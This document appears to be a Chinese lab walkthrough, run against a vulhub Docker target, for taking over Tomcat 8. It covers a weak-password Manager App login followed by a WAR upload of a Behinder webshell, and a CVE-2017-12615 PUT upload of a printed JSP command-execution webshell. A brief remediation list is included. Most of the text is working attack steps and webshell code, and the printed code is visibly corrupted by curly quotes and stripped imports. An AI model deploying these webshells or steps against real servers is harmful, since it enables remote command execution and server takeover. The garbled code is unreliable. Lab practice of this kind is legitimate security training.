环境:centOS7
tomcat
docker
需要工具:java环境、冰蝎
弱口令利用,并上传
文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虚拟机中运行docker,命令
docker-compose up -d
再查询虚拟机的IP地址,在本机中打开,tomcat默认端口8080
可以看到右上角有个manager App
利用弱口令进入:用户名tomcat,密码tomcat
进入网页,发现有上传东西的地方
然后打开冰蝎准备上传shell
选default_aes ,然后点击生成服务端
之后自动弹出一个文件夹,里面有需要的shell文件
打开cmd,选择其中一个
输入命令
jar cvf shell.war .\shell.jsp
将shell文件打包成war包,准备上传

提示成功,打开地址验证一下
http://192.168.1.4:8080/shell/shell.jsp
发现成功,打开冰蝎,点击新增,输入刚才的地址


这样就拿到了shell
修复方案
1、更改弱密码(治标不治本)
2、在系统上以低权限运行Tomcat应用程序。创建一个专门的
Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
3、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。
在CATALINA_HOME/conf/web.xml 文件设置锁定机制和时间超时限制。
4、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
CVE-2017-12615——远程代码执行


试试点击Manager App,被拦截了
现在打开BrupSuite
准备好提供的POC
<%@ page language=“java” import=“java.util.,java.io.” pageEncoding=“UTF-8”%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+“\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if(“023”.equals(request.getParameter(“pwd”))&&!"".equals(request.getParameter(“cmd”))){out.println("
"+excuteCmd(request.getParameter(“cmd”))+"");}else{out.println(”:-)”);}%>
将拦截到的发送到Repeater

将GET改为PUT /1.jsp/,再在下面添加上之前准备的POC

状态码提示为201,为上传成功了,打开地址
尝试输入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id

同理,这里的POC,可以替换为冰蝎的shell,从而更好的拿到shell
部分信息可能已经过时